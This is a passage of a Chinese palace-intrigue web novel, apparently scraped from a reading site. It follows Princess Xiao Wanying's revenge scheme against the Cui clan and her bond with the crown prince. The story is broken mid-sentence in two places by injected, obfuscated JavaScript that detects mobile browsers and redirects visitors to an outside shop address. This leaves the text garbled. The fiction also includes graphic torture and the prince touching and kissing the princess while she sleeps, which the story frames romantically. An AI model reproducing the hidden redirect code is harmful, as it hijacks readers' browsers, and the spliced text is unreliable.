崔家家主崔时右,三朝元老,当朝右相,魏国四大柱国之一。 崔家为世家之首,曾出过两位皇后,百年来,崔家和各大世家和皇族联姻,像一棵百年老树,根茎早已渗透在魏国各大势力之中。 想要对付崔家,以萧晚滢个人之力,不亚于蚍蜉撼树。 “崔家树大根深,公主想要对付崔家谈何容易啊,稍有不慎便是万劫不复。” 萧晚滢笑道:“当初的谢家不也是百年世家吗?” 珍珠心头一颤,心中念道:谢家。 已经好久没人提起过谢家了。 当年谢家的灭门惨案,百年大族被人连根拔起,短短十六年,已被世人遗忘,就好像谢家从未存在过这世间。 随着谢家的消失,很多人都淡忘了,继后傅兰若,原是谢家家主,前右相谢麟的妻子。 谢麟,那个随着谢家一道消失的传奇人物,曾是洛京城人人称颂的惊才绝艳的玉面郎君,也是萧晚滢的生父。 珍珠有种预感,她好像猜到公主要做什么了。 可这太难了。 根本就不可能做到。 萧晚滢好似看穿了珍珠的心思,“你放心,本宫没那么蠢,好好活着不好吗?非要以卵击石,撞得头破血流?” “本宫不会,但本宫实在看不惯崔玉那个禽兽,不想让他好过。” 萧晚滢敛去唇角的笑,“本宫早就为他准备了惊喜,如今也是时候送到他的面前了。” * 刑部大牢内,两名狱卒朝最里侧的那间阴暗潮湿的牢房走去,一名狱卒取下钥匙,打开牢房,将那浑身是血,抗不过酷刑,已经晕死过去的人犯从昏暗的牢房中拖了出来。 其中一名狱卒一脚重重地踩在犯人的身上,揪起他的头发,用力地拍打着犯人的面颊,“崔公子,都招了吧!免得再受皮肉之苦。” 每日的严刑拷问,崔玉只觉得浑身骨头都被折腾散架了,没了力气睁眼。 他一路被拖到了刑房。 身体被固定在木架上,双手也被套上了刑具。 一盆冷水泼在他的身上。 他睁眼便看到了烧的通红的烙铁,顿时吓得尿了裤子。 两名狱卒闻到那股难闻的尿骚气,嫌弃地捏紧了鼻子,“堂堂崔家的嫡公子,竟落得如此下场,连街边的一条狗都不如!” “那些勋贵子弟,也不过如此嘛?一朝沦为阶下囚,就连老子一个小小狱卒都能碾死你。” 崔玉那不争气的眼泪不停地往下掉,那红肿如猪头的那张脸被眼泪鼻涕糊住了。“不是我,我没有杀四皇子。” 狱卒道:“啧,嘴真硬。再不招的话,可又要苦头了。” 狱卒狞笑着,从炭盆中拿起那烧红的烙铁,按进崔玉的皮肉里。 杀猪般的惨叫声响彻整座刑部大牢。 烙铁滋滋冒着白烟,空气中散发着一股皮肉烧焦的糊味。 崔玉仰头望天,意识渐渐涣散,此刻他想到了那个只比他晚出生半个时辰的妹妹。 那个从小就想当皇后的妹妹。 他将嘴唇咬出血来,他强忍着剧痛,却一个字也不说。 他不能认,杀人犯的妹妹,是不能嫁太子,不能当皇后的,他不能连累了妹妹。 他再次垂下头,疼晕了过去。 狱卒道:“没想到这崔公子看着细皮嫩肉的,竟然能扛得住整整三日的大刑。不过等到十八般刑具都用过了,他定会招供。“ 另一个高个狱卒道:“动作小心些,刘大人的意思是留一条命。” 两个狱卒又将浑身是血的崔玉拖进了牢房,等天亮了,再进行下一轮的拷问。 与此同时,京兆府衙前,有人“咚咚咚”敲响了登闻鼓。 来人自称是荟芳楼的妓女,名叫柔葭,在四皇子坠河事发当天,她曾与崔玉共度良宵,称她可以作证,崔玉并未离开她的闺房半步,那晚他们颠鸾倒凤,崔玉累了便早早歇下了。 登闻鼓敲了一夜,柔葭便在府衙外跪了一夜。 次日,京兆府尹传唤崔玉入堂审案。 京兆尹让那名女子交代案发当天,与崔玉在荟芳楼的详细经过,可当她说到二人颠鸾倒凤之时,却涨红了脸,支支吾吾,顾左右而言他,京兆尹以为她故意隐瞒,勃然大怒,命人拉下去重打三十大板。 等到脱衣行刑之时,竟发现蒹葭并非是女子,而是男扮女装。 重刑之下,柔葭都招了,说出了一个足以震惊洛京的惊天大秘密。 原来柔葭是男扮女装,被崔玉藏身青楼,长期供他玩乐。 崔玉本就受了重刑,失了半条命,连为自己辩解的力气都没了,听了柔葭的话,气的差点连剩下的半条命都没了。 那晚在荟芳楼,他先是去找了红绡,都怪那贪财的老鸨,说红绡脸上出了红疹,不方便接客。 他喝了些酒,便随手选了荟芳楼里的一个姑娘服侍,他连那姑娘相貌名字都没记住。 他确实与那姑娘睡了,但在迷迷糊糊间,听到有人在门外议论,说是红绡在楼上接待贵客。 他那里肯忍得下那口气,冲了上去,定要将红绡抢过来,也正是如此,他才亲眼目睹了四皇子醉酒落水。 后来大理寺卿上门抓人,楼里乱成一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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为避风头,当晚崔玉便坐着轿子回府,不过半个时辰,崔玉乘坐马车出府,匆匆驶出城外。 萧晚滢收到从宫外传来的消息,已经到第三日了。 她得知道崔玉出城的消息,嘴角勾起了一丝笑,猎物出逃,真正的猎杀时刻才算真正到来。 为了暂避风头,崔相以养病之由,将崔玉送往外祖王家, 可没想到途中遭遇山匪袭击,崔家护卫拼死保护崔玉,力战山匪,死伤惨重,但好歹从山匪的手中抢回了崔玉一条性命。 但从那些凶悍山匪手中抢出崔玉时,崔玉已被山匪头目一刀废了命根子,给阉割了。 萧晚滢的这场布局,不仅仅是为了将自己从诱杀萧睿中彻底摘出来,她真正的目的其实是崔相的嫡子,崔玉。 她看完信之后烧掉,自言道:“崔时右年过半百,得知崔家从此绝了后,也不知会是怎样的心情啊!” 崔玉虽然成了废人,生不如死,但萧晚滢却一点都高兴不起来。 在崔玉被人阉割之后,那化名柔葭的男子也自尽在京兆府大牢之内,知晓此事,她的心情更是无比沉重。 那男子真实的姓名是赵澄,是个普通的寒门学子,自小父母双亡,与妹妹赵清清相依为命,而赵清清便是被崔玉欺辱至死。 萧晚滢望向窗外,此刻乌云遮天,阴沉沉的天空,似有一场暴雨来临。 萧珩不知何时已经出现在她的身后。 将披风披在她的身后,“怎穿的如此单薄,快要下雨了。” 萧晚滢突然转身,扑进萧珩的怀中,抱住了他的腰,泪水模糊了视线。 希望有人能还那些无辜受害的女子一个公道,希望他们的亲人不要因为申冤无门,最后只能落得头破血流,粉身碎骨的下场,希望有人能为他们还一个公道。 “怎么了?”萧珩问道。 萧晚滢用带着鼻音的声音说道:“想再抱抱太子哥哥,抱一会就好。” 这一次萧珩没有推开她,而是任由她抱着。 自那日之后,萧珩脑中都是她说的那句话,“我最喜欢太子哥哥。” 那时他心中便生出了一个念头,若是阿滢并不抗拒他的接近呢?若是阿滢在知晓了他心底的秘密之后,仍然愿意留在他的身边呢? 他如今有足够的能力护着她,将她护在自己的羽翼之下,她留在这里会更安全。 “今天孤来是想告诉你,朝华殿已经修缮完成,你今日便可搬回去。” 萧晚滢气得一把将他推开,“萧珩,你又想赶我走,是不是?” 萧珩一把将她拉进怀中,“不,孤是想问你愿意回朝华殿,还是愿意留在孤的身边?” 13.第13章 若萧晚滢选择离开东宫,回到朝华殿,他便尊重她的选择,将那个秘密永远地埋藏在心底,一辈子都不对人道出。 可萧晚滢却毫不犹豫地说道:“阿滢要永远陪着太子哥哥。” 萧珩问这句话其实是特意存了私心的,他在问话时,用了些小心机,他并非问萧晚滢是否愿意留在西华院,留在东宫,而是问的是,她是否愿意留在他的身边。 得到肯定回答后,萧珩唇角微扬,“是阿滢亲口答应的,会永远留在我的身边。” “阿滢不会后悔吗?” 萧晚滢摇头,“自然不会,阿滢要和太子哥哥永远在一起。” 还信誓旦旦地说,“若太子哥哥不信,阿滢可以发誓。” 她果真的举起手来,“若阿滢说话不算话,便叫阿滢远嫁和亲,此生再也见不到太子哥哥!” “但是……”萧晚滢想了想,道:“但若是哥哥要赶我走呢?就像三年前那样,那可不算是阿滢违背誓言。” 萧珩按着心口,举起手,轻轻将萧晚滢的手握住,而后与她十指相扣,“那孤便所愿所求皆成空。” 萧晚滢的手被那大掌握住,柔软的手被温暖的掌心包裹住,觉得有些不自在,轻轻挣脱他的手心。 今天,萧珩到底是怎么了? 为何竟如此反常。 萧珩从不与她做如此亲密的举动,以往每次她胡闹爬萧珩的床榻,都会被他训斥,同她讲男女大防的大道理。 今日竟主动牵她的手,他到底受什么刺激了。 萧晚滢的突然退缩,萧珩的心中像是被什么轻轻一刺,酸楚感渐渐地从心口蔓延开。 是他太冲动了,一时没能控制住自己,太操之过急,如今阿滢还不知他的心意,他需徐缓图之。 “既然已经决定留下,为兄便不会再限制你进出,明日是继后生辰,父皇在梅园设宴,让我们都去。” 萧晚滢口中喃喃念道:“明日是母后的生辰啊。” 母后都已经故去三个月了,明日三月初八,是母后的生辰。 母后在她的印象中,是个很温柔的女人,简直可以说是胆小怯弱。 她被魏帝强抢入宫,而她的夫家谢家,在她被强夺入宫不久后,因获罪被满门抄斩。 魏帝下令隐瞒此事,直到三年后,她才从一位新入宫的嫔妃处,听到了这个消息。 夫君死了,她却要服侍杀死她夫君的仇人,这何其残忍,何其痛苦。 她想为夫君报仇,却瞻前顾后。 因为害怕连累了萧晚滢,连报仇都只能选最温和最隐密的方式,使出浑身解数去引诱皇帝。 和皇帝一起服五石散,想让魏帝慢性中毒,以此搞垮皇帝的身子,想耗死他。 可她的身体实在太弱了,长期郁郁寡欢,更是雪上加霜,最后也没能耗死皇帝,她自己却香消玉损。 若说她疼爱女儿,又无法凭借自己的能力保护自己的女儿,少时,她只能眼睁睁地看着萧晚滢被崔皇后夺去。 好不容易等到有能力将女儿接到身边,她又忙于和后宫里的女人争宠,无法分心照顾她。 她整日担惊受怕,胡思乱想,心情郁结,她见识了太多嫔妃争宠的手段,宫里早夭的皇嗣不在少数,将萧晚滢放在身边抚养她也不放心,害怕女儿被嫔妃所害,便干脆让萧晚滢住在东宫。 在她看来,太子有显赫的家世地位,东宫远离后宫争斗,萧晚滢在东宫远比留在她身边安全。 临死前,她深知自己再无法庇护女儿,为萧晚滢和卢照清赐婚。 以为自己死后,有人能替她照顾女儿。 萧晚滢其实是理解母后的做法,卢照清样样都不出众,等日后进了官场,也不会事事拔尖冒头,便不会如当年的谢麟一样,成为众矢之的,行走于刀尖之上,定能明哲保身,加之卢家是世家之一,卢照清还有两位兄弟照拂,这一生定能富贵无忧。 萧晚滢回顾母后这一生,出生便被父母遗弃,被师父捡回去隐居深山中,一直过着避世隐居的日子。 人生的转折便是救下了伤重的谢家大郎,二人日久生情,私定终身。 谢家公子为了娶她,被族中长辈打个半死,想尽办法也要娶她为妻。 她本以为会和谢麟幸福相守,却没想到事事难料,她又被魏帝看上,抢强进宫。 她渴望安稳的生活,这一生却曲折颠沛。 因此她在临死前,为萧晚滢选了一个最能让她过上平静安稳生活的夫君。 认为只要萧晚滢保持绝色美貌,窈窕的身段,细腻的肌肤,甚至教她取悦男子房中秘术。 萧晚滢便能留住夫君的心,萧晚滢便能过上她求之不得的安稳生活。 甚至傅兰若在死前,再三叮嘱,让萧晚滢不要心怀仇恨,忘记这一切,平平安安地活下去。 她却不知,萧晚滢被崔皇后养了三年,早就被养歪了,她更加不会知道,萧晚滢年少时憎恨母后对她不管不顾,深恨她的软弱,瞻前顾后,发誓绝不会成为母后那样的人。 平平淡淡的富贵生活并非她所愿,她宁愿过那种炙热短暂但轰轰烈烈的一生。 “怎么了,是不想去吗?若不想去便不去。”萧珩的声音打断了萧晚滢的思绪。 卢二郎也会前去赴宴,萧珩想起萧晚滢对那木鸢爱不释手,他的私心是不想让萧晚滢去见卢二郎的。 萧晚滢却勾唇笑道:“去。” 这场好戏才刚刚开始,明日众人齐聚,这般热闹的场合,她如何能错过。 萧晚滢弯了弯眼眸,“再说我也很好奇,母后已经死了,父皇想如何为一个死人办生辰?” 那些无辜枉死的冤魂,她可都记在了崔家身上。 赵澄死不瞑目,崔家人又怎可安枕? “再说本宫好久都没见到我那便宜驸马了,我想让他多做些木鸢。” 提及卢二的名字,萧珩微微蹙眉,他盼着萧晚滢不要答应赴宴,那他便可将她藏在东宫,卢照清也会来赴宴,他才是萧晚滢名正言顺的未婚夫,难不成萧晚滢被那卢照清打动了,接受他了? 萧珩试探般地问道:“孤记得和卢照清的婚期还有十五日。” 萧晚滢瞬间炸毛,“萧珩,你又想赶我走对不对,你想把我嫁出去,然后彻底摆脱我对不对?” “我告诉你,我不嫁!” 萧晚滢紧紧握拳,双拳往萧珩的胸口捶去,想到他还有伤,改拳为爪,狠狠地在萧珩的胸口挠了一下。 还故意做出凶狠的动作,“你若敢将我嫁给卢照清,我就将天捅破了给你看。” 她动作虽凶狠,却一点都不痛,反倒还有些痒,一阵酥酥麻麻的感觉传遍全身,那像猫儿般的抓挠的感觉一下一下挠在他的心尖上。 他只觉浑身战栗、酥颤,着迷甚至上瘾。 他故作平静地道:“孤知道了。” 萧晚滢不满,想狠狠在抓几下,却被萧珩握住手臂。 萧晚滢一怔,想起昨晚被他十指相扣的那一幕,她轻轻挣脱了萧珩的手掌。 为什么被萧珩握住的手臂,有一种奇怪的麻痒的感觉。 她惊得一把将萧珩推出去。 “太子哥哥,阿滢要换衣了,你先在外面等着。” 萧珩被推了出去。萧晚滢赶紧关上了门,按着砰砰直跳的胸口。 她到底是怎么了。 为什么面对太子哥哥会有这种奇怪的感觉。 萧晚滢心想,定是因为她瞒着萧珩做下的那些事,是她心虚。 萧珩的声音从外间的屏风后传来,“崔玉的事,孤知道了。” “是阿滢所为吗?” 萧晚滢酝酿该如何回答。 那声音又远及近,“你想做什么,孤不想知道。但崔家有一人身份特殊,此人,你万不可动。” 明明他和萧珩之间隔着一道木制屏风,屏风将她遮挡严实,她却觉得萧珩的目光能穿透屏风,落在她的身上。 萧晚滢停顿了一瞬,“阿滢怎么听不懂?” 萧珩走进屏风之后,握住那根玉带,环住她的纤腰,“阿滢知道我说的是谁?孤再与你说一遍,唯他,你不能动。” 萧晚滢只望着他笑,心道:“可是太子哥哥,已经来不及了,开弓没有回头箭,况且她一旦决定开始,便犹如行走于刀刃之上,退一步便是万丈深渊。” 望着萧珩紧蹙的眉头,萧晚滢良久才道:“好。” 那天晚上,萧晚滢梦到了赵澄,赵澄来同她告别,对她说他失言了,他每晚都梦到妹妹,妹妹哭着说,她好害怕,身上好冷。 赵澄自尽了,他要下去陪她。 醒来后,萧晚滢抱膝坐在床榻上,她蜷缩在角落里,感到一股寒意,传遍全身。 黑暗中,周围一片漆黑,只能听见窗外风声甚急,伴随着细雨的沙沙声,檐下风铃碰撞,发出轻轻的声响。 她想到了赵澄兄妹,二人自小父母双亡,相依为命。 兄妹二人辛苦给人做工,攒了半辈子,拿出所有的积蓄租赁一间豆腐摊,赵澄每天一大清早便磨完豆腐出门,妹妹则负责卖豆腐,赵氏兄妹的豆腐又嫩又香,妹妹模样儿生的俊,声音又甜,附近的人家都来买他家的豆腐,生意一天比一天好。 赵澄想着多读点书,将来考功名,一则是心怀抱负,想要学以致用,报效国家,二则是想让妹妹过上好日子,将来为妹妹许门好亲事。 便寻了个在书院干杂活的差事,一有空闲,便去当旁听生。 可他哪里知道,如今榜上有名的都是出身高的世家子弟,寻常寒门学子若无人提携,根本就没有出头的机会。 赵澄读书忘我,常常忘了吃饭,妹妹赵清清便每天都去书院给他送饭。 那些在书院读书的世家子弟,平日里见惯了那衣着华服,妆容精致的世家贵女,偶然见到荆钗布裙,清丽脱俗,嗓音甜美的赵清清,都觉得新奇有趣。 尤其是崔玉,本就好色,见到那清秀可人的小娘子,便盯上了她,待赵清清离去时,他尾随至那小娘子身后,将人逼入暗巷之中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16861204|190486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,强要了赵清清的身子,事后说会迎她入府为妾。 但那也只是说说而已,家中有悍妻,他早知李氏必不会同意,每每以此哄骗女子服从,叫那些女子死心塌地跟着他。 但赵清清虽然看上去柔弱,骨子里却是个刚烈的,回去便一根麻绳吊死在房梁上。 赵澄回到家中一看妹妹自尽身亡,顿时肝肠寸断,看到妹妹身上的那些伤痕,还有什么不明白的。 赵澄悲痛欲绝,赶紧向京兆府报案,那京兆尹一开始还信誓旦旦地承诺一定要将玷污了赵清清的人犯缉拿归案。 可过了两日,那京兆尹却反咬一口,说赵清清是自己想不开寻死,赵澄却谎称其妹被人玷污,属于故意挑事,恶意构陷,将他打了三十大板,关进监牢中。 十天后,赵澄才被放了出来。 后来,他办完妹妹的丧事,虽然仍旧去书院,却总是浑浑噩噩的,旁人唤他,也不理会。 有一日,他听到崔玉和李家公子说话,顿时遍体生寒,坠入冰窖。 那日李家公子对崔玉说,“那日在朱雀巷发生的事,我都看见了,是你强行玷污了那豆腐西施赵清清。” 崔玉一把捂住了李公子的嘴,“姐夫给你银子,这件事你可不要对你姐姐提起,她会提剑杀了我的。” 赵澄这才明白了,是京兆尹惧怕崔家的权势,不敢将崔玉缉捕归案,干脆将自己打一顿,卖崔家一个人情。 自那之后,赵澄知道再也不能报官,而是想办法接近崔玉,想找机会杀了他为妹妹报仇。 他假扮马夫,终于混进了世家子弟外出结伴狩猎队伍中,在崔玉那匹马的草料中动了手脚。 可却被人发现后,差点被打死,是萧晚滢救下了他。 那赵澄暗中跟了崔玉大半年,得知到他是荟芳楼里的常客,最宠爱花魁红绡。 萧晚滢说出了自己的计划,也告诉他崔玉是崔相之子,想要杀他却不容易,可要让他身败名裂,她却有个主意,赵澄自然答应和萧晚滢联手。 萧晚滢承诺会保他性命,赵澄只需在京兆府大牢中多呆几日。等风头一过,萧晚滢自然会找人替换他,放他出去。 但赵澄还是自杀了。 而至于那晚在青楼中和崔玉春风一度的女人确是叫柔葭,是崔玉的同乡,也是个苦命的女子,自小便沦落青楼,她帮赵澄,不过是因为赵清清在收摊后,总会挑货担,将剩下的豆腐,到处吆喝售卖,她见赵清清梳的发髻好看,便让赵清清替她梳了几回发髻,善良热心的赵清清却分文不取。 柔葭那晚多接了两个客人,凑够了阿弟治病的药钱,她答应帮赵澄也是为了回报那个善良的小姑娘。 至于崔玉遇到的那些山匪,是萧晚滢猜到崔家会将崔玉送出洛京避难,将崔玉出城的消息放了出去。 那些山匪也是一个被崔玉夺去了新婚妻子的校尉和他手下的几个兄弟假扮的, 虽然没能杀了崔玉,但切了他的命根子,也算是给那些被他害死的女子报了仇。 至少崔玉再也不能去祸害那些无辜可怜的女子。 可赵家兄妹却因此付出了惨重的代价,甚至还失了性命。 萧晚滢觉得心口闷堵的慌,胸口压抑得快要喘不气来。 直到一只大掌轻轻握住她的手臂,掌心的温暖好似替她减退了身体里的寒意。 “做噩梦了?” 萧晚滢迷迷糊糊中慢慢挪靠在萧珩的身侧。 “嗯。” 那声音带淡淡的鼻音,有些哑,好像刚哭过。 黑暗中,看不清萧珩的神色,他伸手轻轻地拍着她的背,就像小时候那样,她做了噩梦睡不着,便会抱着玉枕去找萧珩,爬上他的榻,钻进他的被褥中。 有时萧珩会将她拎出去。 但萧珩每次都睡的很晚,大多数时候,都是她霸占萧珩的床,萧珩伏在案上将就一夜。 随着那一下下轻拍,萧晚滢低声嘟哝着,“萧珩,将来一定要做个好皇帝。” 而后,她便靠在自己的肩头,均匀的呼吸声传来,人在熟睡之后,身体便会不自觉地往下滑,那带着少女独有的香甜呼吸,擦过他的颈侧。 痒痒的,酥酥麻麻的感觉传遍全身。 萧珩轻轻扶正她的头,将她脸侧的肌肤轻拂至耳后。 指尖却碰到她唇瓣,柔软至极。 黑暗中看不到,仅凭想象。 萧珩想象着她的唇呈好看的粉色,软软的,泛着水光,他用指尖轻轻地按了一下。 手感比想象中还要柔软。 软的像是能掐出汁水来。 他不由得再往里伸,果然指尖湿湿的,滑滑的。 却不曾想,唇瓣微张,灵舌轻探,他往里伸的指间碰到了她的舌尖。 酥麻传遍全身,浑身好似过电,萧珩心尖都为之一颤,只觉浑身的血液都似沸腾了一般。 那一刻他仿佛不受控了一般,倾身吻上萧晚滢的唇瓣。 就在这时,萧晚滢睁开了眼睛,蹙眉,“哥哥。” 14.第14章 待萧晚滢睁开眼睛,却不见了萧珩。 她起身下床,喝了一大口凉水,心想看来是最近太累了,她竟然梦到和哥哥做那种事。 她竟然梦到萧珩亲了她,这简直太荒唐了。 一阵风起,带得风铃晃动不止,响个不停。 萧晚滢摇了摇头,试图将那个荒唐的梦用自己的脑中赶出去。 强行打起精神唤珍珠进来梳洗,更衣。 珍珠问道:“公主可要去给殿下请安,与殿下一道前往?” 萧晚滢差点被水呛住,“不……不必了。” 珍珠觉得有些奇怪,往常公主不是天天都黏着太子殿下,如今她和殿下有重归于好的征兆,她怎么感觉公主好像在躲着殿下呢。 珍珠疑惑地问道:“公主与太子殿下昨夜可曾发生了什么?” 萧晚滢脑中又浮现出那个梦,她拿起琉璃盏中的一颗樱桃,塞进珍珠的口中,堵住她的嘴,“走吧。” “对了,待会你将卢照清约到玉湖边,我有要事要与他商量。” 赵澄的心愿她一定要帮他实现。 “崔玉被阉,这只是个开始,本宫需要卢照清再多做些木鸢。” 珍珠心中骇然,“难道公主还要动崔家?” “可太子殿下不是嘱咐过您,不可再轻举妄动?尤其是崔家的那位。” 刘贵妃那日来东宫要人,已经让珍珠心惊胆战,公主好不容易才摆脱了杀四皇子的嫌疑。 刘贵妃一向不喜公主,今日陛下设宴,刘贵妃和崔相都会赴宴,公主却要在他们底下动手,这实在太过凶险了。 若是让太子知道公主仍然要冒险动崔家,届时若与公主决裂,以公主如今的处境,一旦失去东宫的庇护,宫中群狼环伺,那可就真的如临深渊了。 “公主殿下,你今日一定要非去不可吗?太子殿下都说您可以不去的。” 珍珠觉得公主好不容易摆脱杀四皇子的嫌疑,应该暂避风头,低调行事才对。 萧晚滢好似看穿了珍珠的心思,冷笑:“本宫何曾低调过?” 珍珠揉了揉太阳穴,是啊,华阳公主就像天上的炙热的太阳,行事大胆恣意,从不知低调为何物。 萧晚滢笑道:“便是本宫想低调,也没机会啊。” 她看出了珍珠的担心,笑着宽慰她道:“难道本宫龟缩不出,刘贵妃便不会怀疑本宫了吗?” “此刻若不动手,错失良机,待到他日,刘贵妃察觉其实是本宫杀了她儿子,本宫一样逃不掉!” “什么!” 珍珠惊骇非常,公主费心谋划,让卢照清假死宫外,便是为了摆脱杀了四皇子的嫌疑,依公主所说事情仍会败露,难道之前所做的一切都白费了吗? 她轻轻握住珍珠的肩膀,笑道:“放心,在事情败露之前,我要先收拾了崔家。” 她找卢照清扮演萧睿,醉酒落水,不过是想将刘贵妃的注意力从海棠别院转移到宫外的荟芳楼。 可这场戏并非完全没有漏洞,何况她要借刘贵妃的刀杀崔家的人。 崔时右那个老狐狸,未必不会察觉。 等到刘贵妃和崔相察觉到有人在暗中推波助澜,算计他们之时,很快就会怀疑到她的头上。 在这之前,她得抓紧时间行动。 萧晚滢突然想到了什么,感叹道:“这几日,崔媛媛倒是安静。” 那日,崔媛媛去给太子送汤,撞见她衣衫不整地从萧珩的寝房中出来,即便崔媛媛隐忍再三,可那怨毒的眼神却没能逃过萧晚滢的眼睛。 她一直在等崔媛媛的动作,崔媛媛竟能这般沉得住气,一直隐忍不发,这倒是在萧晚滢的意料之外。 珍珠道:“奴婢倒是听说了,崔大小姐她病了。” “是吗?”萧晚滢笑道:“这倒是巧了,崔玉前脚刚出事,她就病了。” 那天她跪在萧珩的寝宫外,应该是找萧珩为她兄长求情的,被萧珩拒绝后,她定是害怕崔家怪罪,这才装病。 不过她倒是聪慧。 “本宫突然改变主意了,今日我要穿男装。去给本宫把太子哥哥的那件衣裳拿过来,本宫要扮成男子去赴宴。” 萧珩的衣裳已经拿去尚衣局按照萧晚滢的尺寸改过,现在穿着更合适。 她可不信崔媛媛这么能忍,不刺激刺激她,又怎么见识崔媛媛的手段。 门外一阵脚步声,萧晚滢悄悄站在窗外往外望去,便见冯成迈着小碎步正往西华院匆匆而来。 萧晚滢心虚地拉着珍珠往后门出去。 出了西华院,萧晚滢几乎是小跑着出了东宫,前往观梅园。 她也不知是怎么了,脑中那画面终是挥之不去,她暂时不想见萧珩。 今日是继后的生辰,魏帝为了悼念亡妻,在观梅园为亡妻庆贺生辰。 这三个月来,他又是请得道高僧做法事,又是到处寻找能让爱妻还魂的法子。 还魂失败后,魏帝不知听了哪位得道高僧的话,说可以做法让死去之人的魂魄附身在活人身上,借别人的身体与他相见。 汪福贵便连夜选了两个容貌出众,和继后有几分相似的女子进了宫,就藏在观梅园中,打算和魏帝来一场偶遇。 萧晚滢知晓后冷哼一声,“瞧,父皇对母后还真是一片真心!” 所谓的日思夜想,思念成疾,也不过是他找借口宠幸女人。 这一路上,瞧着越来越多的嫔妃化着和母后一样的妆容,梳一样的发髻,就连神态举止都要学母后几分神韵,便于争宠,萧晚滢更是倒足了胃口,忍不住讽刺道:“父皇可真会玩!” 珍珠惊得赶紧用手中的兔子面具,将公主的脸遮住。 她担忧地四处张望,低声道:“公主,小心被人听去了,尤其是刘贵妃的人。” 如今宫里就数刘贵妃的位分最高,在宫中耳目众多,若是被刘贵妃听去,指不定又要为难公主了。 萧晚滢笑道:“你放心,我不说,刘贵妃就不会来找我麻烦了吗?” 珍珠哑然。 随即默默叹息,刘贵妃讨厌继后,这些年心中憋着的怒火无从发泄,便是为了报当年之仇,她也不会轻易饶了公主。 所以萧晚滢说的是实话,刘贵妃是无论如何都不会放过她的。 萧晚滢正说话间,萧晚滢见到身穿洗旧的白色锦袍,带着青面獠牙恶鬼面具的男子,冲着自己点了点头。 面具是狰狞的恶鬼,那男子却有着一双温和含笑的眼睛。 男子对她行了个礼。 那礼却并非是魏国的礼节。 此人是燕国人。 魏皇宫中的燕国人,萧晚滢想到了一个人。 大燕皇帝的亲弟弟,如今在魏国为质的端亲王慕容卿。 萧晚滢微微点头,算是回礼。 正在这时,一位头戴金色狐狸面具,身穿华丽红色宫裙的女子追逐而来,她脚步踉跄,似醉得不清,口中含糊不清地唤着,“慕容卿,本宫就要抓到你了!” 带着恶鬼面具的慕容卿对萧晚滢做了个噤声的动作,藏身一株绿梅树之后。 女子一把抓住了萧晚滢的衣角,笑道:“哈哈,抓到你啦!这下看你再往哪里逃!” 萧晚滢冷笑道:“萧姝,是我。” 女子揭开脸上金色狐狸面具,见到带着兔子面具的萧晚滢,不悦道:“原来是二姐,你穿着男人的衣裳做什么!” 萧晚滢抿唇,“与你无关。你不是要找人吗?” 萧姝醉的不轻,面具上的狐狸眼用描着金色的花纹,眼中透出欲望,“萧晚滢,你看到慕容卿了吗? 萧晚滢朝听雨阁一指。 萧姝急切地往那梅园深处的那处楼阁跑去。 待萧姝离去后,慕容卿从树后现身,对萧晚滢行了个大礼。 “多谢华阳公主。” 行动间,慕容卿手腕轻抬,露出腕骨上一条细细的银链,银链相撞,发出细碎的叮当之声。 萧晚滢不动声色地看了那银链一眼,又快速将眼睛从他腕骨上移开,对珍珠道:“走吧!” 萧晚滢从慕容卿的身边擦身而过,一个细长的脖颈微扬,带着公主的高贵傲气,另一个则是保持着躬身谦卑姿态。 很久以后,慕容卿回想与萧晚滢初次见面,便在想,他和萧晚滢的似乎关系从一开始便已经注定了,萧晚滢是高高在上,骨子里是傲视一切的高贵,而他则是卑微求存,在夹缝中挣扎求生的卑微。 走出很远后,珍珠问道:“奴婢以为公主会救他。” 萧晚滢问道:“这大燕的端亲王入魏国为质多少年了?” 珍珠想了想,回答道:“今年是第六年了。” 萧晚滢笑道:“大燕的皇帝是个不折不扣的疯子,杀了多少兄弟和宗室,这些年他一直没有子嗣,防着他的那些兄弟和自己抢皇位,你以为慕容卿能平安无恙活到现在,他需要本宫来救?” 这六年来躲过多少明枪暗箭,能好好活到现在,慕容卿可不是简单的角色。 这样的人又何需她来救。 可身后突然传来一声闷响,萧晚滢的裙摆被人猛地抓住,她一回头,便见慕容卿已经倒在了她的脚边。 面具遮挡住面容,看不清他到底生得是何模样,但露出的那截长颈已经红透了,他发出一声声痛苦的呻、吟,头一偏,露出的那只耳朵红若滴血。 萧晚滢注意到此人耳朵生得真好看,莹白如玉,耳垂饱满,戴着一颗小小的蓝色宝石的耳坠。 燕国的开国皇帝是胡人,萧晚滢这才意识到慕容卿梳的发,是结成了几股辫子后挽成发髻再戴玉冠,与燕国的男子不同。 珍珠吓了一跳,“公主……奴婢这就掰开他的手。” “让人请孙太医过来一趟,再将人随便抬到一处偏院救治。” 珍珠不解地问道:“公主不是说不救吗?” 萧晚滢道:“别告诉他是本宫救他,再说本宫原也不想救,只是讨厌宫里的那些腌臜手段罢了。” “走吧!” * 听说是魏帝说怕惊到了皇后亡魂,让所有赴宴之人用面具遮住面容,怕惊到了继后,躲着不肯见他,不肯附身到那两个十六岁的年轻女子身上。 萧晚滢只觉得何其荒谬,母后恨极了他,绝无可能来梦中与他相见,再说萧朗那样好色暴戾之人,又何来深情一说。 眼前的大片梅林是魏帝和继后初次相遇的地方,后来继后独得圣宠,魏帝又将观梅园扩建,比原来大了一倍,遥遥望去,俨然是梅林花海。 里面种植了继后喜欢的绿梅。 三月初的梅花还未开败,眼前繁花似锦,宛若枝头堆雪。 魏帝为继后的魂魄引路,让人在花枝上挂满了小小的花灯,远远望去,宛若万千星火璀璨。 往梅林深处走去,耳畔传来一阵极低的哭泣声,珍珠不由得往萧晚滢身边缩了缩,小声地道:“公主,不会真的是皇后娘娘的魂魄归 